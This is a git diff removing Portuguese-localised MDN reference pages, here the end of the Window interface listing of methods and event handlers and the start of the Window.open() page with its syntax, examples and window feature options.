- <dt>{{domxref("Window.moveBy()")}}</dt>
- <dd>Moves the current window by a specified amount.</dd>
- <dt>{{domxref("Window.moveTo()")}}</dt>
- <dd>Moves the window to the specified coordinates.</dd>
- <dt>{{domxref("Window.open()")}}</dt>
- <dd>Opens a new window.</dd>
- <dt>{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Opens a new dialog window.</dd>
- <dt>{{domxref("Window.postMessage()")}}</dt>
- <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd>
- <dt>{{domxref("Window.print()")}}</dt>
- <dd>Opens the Print Dialog to print the current document.</dd>
- <dt>{{domxref("Window.prompt()")}}</dt>
- <dd>Returns the text entered by the user in a prompt dialog.</dd>
- <dt>{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
- <dd>Releases the window from trapping events of a specific type.</dd>
- <dt>{{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.</dd>
- <dt>{{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}</dt>
- <dd>Enables the scheduling of tasks during a browser's idle periods.</dd>
- <dt>{{domxref("Window.resizeBy()")}}</dt>
- <dd>Resizes the current window by a certain amount.</dd>
- <dt>{{domxref("Window.resizeTo()")}}</dt>
- <dd>Dynamically resizes window.</dd>
- <dt>{{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.scroll()")}}</dt>
- <dd>Scrolls the window to a particular place in the document.</dd>
- <dt>{{domxref("Window.scrollBy()")}}</dt>
- <dd>Scrolls the document in the window by the given amount.</dd>
- <dt>{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}</dt>
- <dd>Scrolls the document by the given number of lines.</dd>
- <dt>{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}</dt>
- <dd>Scrolls the current document by the specified number of pages.</dd>
- <dt>{{domxref("Window.scrollTo()")}}</dt>
- <dd>Scrolls to a particular set of coordinates in the document.</dd>
- <dt>{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)</dt>
- <dd>Changes the cursor for the current window</dd>
- <dt>{{domxref("Window.setImmediate()")}}</dt>
- <dd>Executes a function after the browser has finished other heavy tasks</dd>
- <dt>{{domxref("Window.setResizable()")}} {{Non-standard_inline}}</dt>
- <dd>Toggles a user's ability to resize a window.</dd>
- <dt>{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}</dt>
- <dd>Sizes the window according to its content.</dd>
- <dt>{{domxref("Window.stop()")}}</dt>
- <dd>This method stops window loading.</dd>
- <dt>{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}</dt>
- <dd>Updates the state of commands of the current chrome window (UI).</dd>
-</dl>
-
-<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3>
-
-<dl>
- <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
- <dd>Register an event handler to a specific event type on the window.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
- <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
- <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
- <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
- <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
- <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
- <dd>Starts the process of fetching a resource from the network.</dd>
- <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
- <dd>Removes an event listener from the window.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
- <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
- <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
- <dd>Schedules a function to execute in a given amount of time.</dd>
-</dl>
-
-<h3 id="Métodos_obsoletos">Métodos obsoletos</h3>
-
-<dl>
- <dt>{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}</dt>
- <dd>Displays a modal dialog. <strong>This method was removed completely in Chrome 43, and Firefox 55.</strong></dd>
-</dl>
-
-<h2 id="Manipuladores_de_evento">Manipuladores de evento</h2>
-
-<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p>
-
-<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p>
-
-<div class="note">
-<p><strong>Nota:</strong> Starting in {{Gecko("9.0")}}, you can now use the syntax <code>if ("onabort" in window)</code> to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See <a href="/en-US/docs/DOM/DOM_event_handlers">DOM event handlers</a> for details.</p>
-</div>
-
-<dl>
- <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
- <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd>
- <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
- <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd>
- <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
- <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd>
- <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
- <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd>
- <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
- <dd>An event handler property for before-unload events on the window.</dd>
- <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
- <dd>Called after the window loses focus, such as due to a popup.</dd>
- <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
- <dd>An event handler property for change events on the window.</dd>
- <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
- <dd>Called after the ANY mouse button is pressed &amp; released</dd>
- <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
- <dd>Called when a double click is made with ANY mouse button.</dd>
- <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
- <dd>Called after the window is closed</dd>
- <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
- <dd>Called when the RIGHT mouse button is pressed</dd>
- <dt>{{domxref("Window.ondevicelight")}}</dt>
- <dd>An event handler property for any ambient light levels changes</dd>
- <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt>
- <dd>Called if accelerometer detects a change (For mobile devices)</dd>
- <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
- <dd>Called when the orientation is changed (For mobile devices)</dd>
- <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only</dt>
- <dd>An event handler property for any device orientation changes.</dd>
- <dt>{{domxref("Window.ondeviceproximity")}}</dt>
- <dd>An event handler property for device proximity event</dd>
- <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
- <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd>
- <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
- <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd>
- <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
- <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd>
- <dt>{{domxref("Window.onappinstalled")}}</dt>
- <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd>
- <dt>{{domxref("Window.ongamepadconnected")}}</dt>
- <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
- <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
- <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
- <dt>{{domxref("Window.oninput")}}</dt>
- <dd>Called when the value of an &lt;input&gt; element changes</dd>
- <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
- <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd>
- <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
- <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd>
- <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
- <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd>
- <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
- <dd>An event handler property for {{event("languagechange")}} events on the window.</dd>
- <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
- <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd>
- <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
- <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
- <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
- <dd>Called when ANY mouse button is pressed.</dd>
- <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
- <dd>Called continously when the mouse is moved inside the window.</dd>
- <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
- <dd>Called when the pointer leaves the window.</dd>
- <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
- <dd>Called when the pointer enters the window</dd>
- <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
- <dd>Called when ANY mouse button is released</dd>
- <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd>
- <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
- <dd>Called when network connection is lost. See {{event("offline")}} event.</dd>
- <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
- <dd>Called when network connection is established. See {{event("online")}} event.</dd>
- <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
- <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd>
- <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
- <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd>
- <dt>{{domxref("Window.onpaint")}}</dt>
- <dd>An event handler property for paint events on the window.</dd>
- <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Called when a back button is pressed.</dd>
- <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
- <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd>
- <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
- <dd>Called when a form is reset</dd>
- <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
- <dd>Called continuously as you are resizing the window.</dd>
- <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
- <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd>
- <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
- <dd>Called when the mouse wheel is rotated around any axis</dd>
- <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
- <dd>Called after text in an input field is selected</dd>
- <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
- <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd>
- <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
- <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd>
- <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
- <dd>Called when a form is submitted</dd>
- <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
- <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
- <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
- <dd>Called when the user navigates away from the page.</dd>
- <dt>{{domxref("Window.onuserproximity")}}</dt>
- <dd>An event handler property for user proximity events.</dd>
- <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
- <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd>
- <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
- <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd>
- <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
- <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd>
- <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
- <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd>
- <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
- <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd>
- <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
- <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd>
- <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
- <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd>
-</dl>
-
-<h2 id="Construtores">Construtores</h2>
-
-<p>Consulte também as <a href="/pt-PT/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">Interfaces de DOM</a>.</p>
-
-<dl>
- <dt>{{domxref("DOMParser")}}</dt>
- <dd><code>DOMParser</code> can parse XML or HTML source stored in a string into a DOM <a href="https://developer.mozilla.org/en-US/docs/DOM/document" title="document">Document</a>. <code>DOMParser</code> is specified in <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a>.</dd>
- <dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Image")}}</dt>
- <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd>
- <dt>{{domxref("Option")}}</dt>
- <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd>
- <dt>{{domxref("Window.QueryInterface")}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.XMLSerializer")}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Worker")}}</dt>
- <dd>Used for creating a <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd>
- <dt>{{domxref("Window.XPCNativeWrapper")}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
- <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt>
- <dd>{{todo("NeedsContents")}}</dd>
-</dl>
-
-<h2 id="Interfaces">Interfaces</h2>
-
-<p>Consulte <a href="/pt-PT/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">Referência de DOM</a></p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Mozilla/trabalhar_com_janelas_no_codigo_chrome">Working with windows in chrome code</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/window/open/index.html b/files/pt-pt/web/api/window/open/index.html
deleted file mode 100644
index 0638235527..0000000000
--- a/files/pt-pt/web/api/window/open/index.html
+++ /dev/null
@@ -1,748 +0,0 @@
----
-title: Window.open()
-slug: Web/API/Window/open
-tags:
- - API
- - DOM
- - Janela
- - Referencia
- - abrir
- - metodo
-translation_of: Web/API/Window/open
----
-<div>{{APIRef}}</div>
-
-<p>The {{domxref("Window")}} interface's <strong><code>open()</code></strong> method loads the specified resource into the browsing context (window, {{HTMLElement("iframe")}} or tab) with the specified name. If the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code>var <em>window</em> = window.open(<em>url</em>, <em>windowName</em>, [<var>windowFeatures</var>]);</code></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>url</code></dt>
- <dd>A {{domxref("DOMString")}} indicating the URL of the resource to be loaded. This can be a path or URL to an HTML page, image file, or any other resource which is supported by the browser. If the empty string ("") is specified as <code>url</code>, a blank page is opened into the targeted browsing context.</dd>
- <dt><code>windowName</code></dt>
- <dd>A {{domxref("DOMString")}} specifying the name of the browsing context (window, {{HTMLElement("iframe")}} or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by <code>windowName</code>. This name can then be used as the target of links and forms by specifying it as the <code>target</code> attribute of {{HTMLElement("a")}} or {{HTMLElement("form")}} elements. The name should not contain whitespace. Keep in mind that this will <em>not</em> be used as the window's displayed title.</dd>
- <dt><code>windowFeatures</code> {{optional_inline}}</dt>
- <dd>A {{domxref("DOMString")}} containing a comma-separated list of window features given with their corresponding values in the form "name=value". These features include options such as the window's default size and position, whether or not to include scroll bars, and so forth. There must be no whitespace in the string. See {{anch("Window features")}} below for documentation of each of the features that can be specified.</dd>
-</dl>
-
-<h3 id="Valor_de_retorno">Valor de retorno</h3>
-
-<p>A {{domxref("Window")}} object representing to the newly created window. If the window couldn't be opened, the returned value is instead <code>null</code>. The returned <code>Window</code> reference can be used to access properties and methods of the new window as long as it complies with <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a> security requirements.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>The <code>open()</code> method creates a new secondary browser window, similar to choosing New Window from the File menu. The <code>strUrl</code> parameter specifies the URL to be fetched and loaded in the new window. If <code>strUrl</code> is an empty string, then a new blank, empty window (URL <code>about:blank</code>) is created with the default toolbars of the main window.</p>
-
-<p>Note that remote URLs won't load immediately. When <code>window.open()</code> returns, the window always contains <code>about:blank</code>. The actual fetching of the URL is deferred and starts after the current script block finishes executing. The window creation and the loading of the referenced resource are done asynchronously.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush:js">var windowObjectReference;
-var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes";
-
-function openRequestedPopup() {
- windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures);
-}</pre>
-
-<pre class="brush:js">var windowObjectReference;
-
-function openRequestedPopup() {
- windowObjectReference = window.open(
- "http://www.domainname.ext/path/ImageFile.png",
- "DescriptiveWindowName",
- "resizable,scrollbars,status"
- );
-}</pre>
-
-<p>If a window with the name already exists, then <code>strUrl</code> is loaded into the <em>existing</em> window. In this case the return value of the method is the existing window and <code>strWindowFeatures</code> is ignored. Providing an empty string for <code>strUrl</code> is a way to get a reference to an open window by its name without changing the window's location. To open a <em>new</em> window on every call of <code>window.open()</code>, use the special value <code>_blank</code> for <code>strWindowName</code>.</p>
-
-<div class="note">
-<p><a href="#Note_on_use_of_window_open" id="Note_on_use_of_window_open">Note on the use of window.open to reopen an existing window</a> with name <code>strWindowName</code> : This functionality is not valid for all browsers and more with variable conditions. Firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the previously created window. Google Chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). This is a wide limitation and generates unbelievable complexity of development. Firefox (51.) gets the handle but cannot run any Element.focus() while Chrome can run focus() from opener to child but not between siblings nor, reverse, from child to opener. This function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). For now 10/01/2017 the differencies of behavior found recently have not still been tested for others Browsers.  </p>
-</div>
-
-<h2 id="Funcionalidades_de_janela">Funcionalidades de janela</h2>
-
-<p><code>strWindowFeatures</code> is an optional string containing a comma-separated list of requested features of the new window. After a window is opened, JavaScript can't be used to change the features. If <code>strWindowName</code> does not specify an existing window and the <code>strWindowFeatures</code> parameter is not provided (or if the <code>strWindowFeatures</code> parameter is an empty string), then the new secondary window will render the default toolbars of the main window.</p>
-
-<p>If the <code>strWindowFeatures</code> parameter is used and no size features are defined, then the new window dimensions will be the same as the dimensions of the most recently rendered window.</p>
-
-<p>If the <code>strWindowFeatures</code> parameter is used and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well.</p>
-
-<p><strong>If the <code>strWindowFeatures</code> parameter is used, the features that are not listed will be disabled or removed</strong> (except <code>titlebar</code> and <code>close</code>, which are by default <code>yes</code>).</p>
-
-<div class="note">
-<p><strong>Tip</strong>: If using the <code>strWindowFeatures</code> parameter, only list the features to be enabled or rendered; the others (except <code>titlebar</code> and <code>close</code>) will be disabled or removed. Note that in some browsers, users can override the <code>strWindowFeatures</code> settings and enable (or prevent the disabling of) features.</p>
-</div>
-
-<p><img alt="Firefox Toolbars Illustration" src="/@api/deki/files/210/=FirefoxChromeToolbarsDescription7a.gif" style="display: block; margin: 0px auto;"></p>
-
-<h3 id="Funcionalidades_de_posição_e_tamanho">Funcionalidades de posição e tamanho</h3>
-
-<div>{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}</div>
-
-<p><a href="#Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</a></p>
-
-<div class="bug">{{bug(176320)}}</div>
-
-<p><a href="#Note_on_precedence">Note on precedence</a></p>
-
-<dl>
- <dt id="left">left</dt>
- <dd>Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
- <dt id="top">top</dt>
- <dd>Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
- <dt id="height">height</dt>
- <dd>Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.</dd>
- <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
- <dt id="width">width</dt>
- <dd>Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.</dd>
- <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
- <dt>screenX</dt>
- <dd>Deprecated. Same as <a href="#left">left</a> but only supported by Netscape and Mozilla-based browsers.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>screenY</dt>
- <dd>Deprecated. Same as <a href="#topS">top</a> but only supported by Netscape and Mozilla-based browsers.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>centerscreen</dt>
- <dd>Centers the window in relation to its parent's size and position. Requires chrome=yes.</dd>
- <dt>outerHeight</dt>
- <dd>Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.</dd>
- <dd><strong>Note</strong>: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.</dd>
- <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>outerWidth</dt>
- <dd>Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>innerHeight</dt>
- <dd>Same as <a href="#height">height</a> but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The <var>innerHeight</var> value includes the height of the horizontal scrollbar if present. Minimal required value is 100.</dd>
- <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
- <dt>innerWidth</dt>
- <dd>Same as <a href="#width">width</a> but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.</dd>
- <dd>Supported in: <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png"></dd>
-</dl>
-
-<h3 id="Funcionalidades_da_barra_de_ferramentas_e_chrome">Funcionalidades da barra de ferramentas e chrome</h3>
-
-<dl>
- <dt>NOTE: All features can be set to <var>yes</var> or <var>1</var>, or just be present to be "on". Set them to <var>no</var> or <var>0</var>, or in most cases just omit them, to be "off".</dt>
- <dd>Example: "status=yes", "status=1", and "status" have identical results.</dd>
- <dt>menubar</dt>
- <dd>If this feature is on, then the new secondary window renders the menubar.</dd>
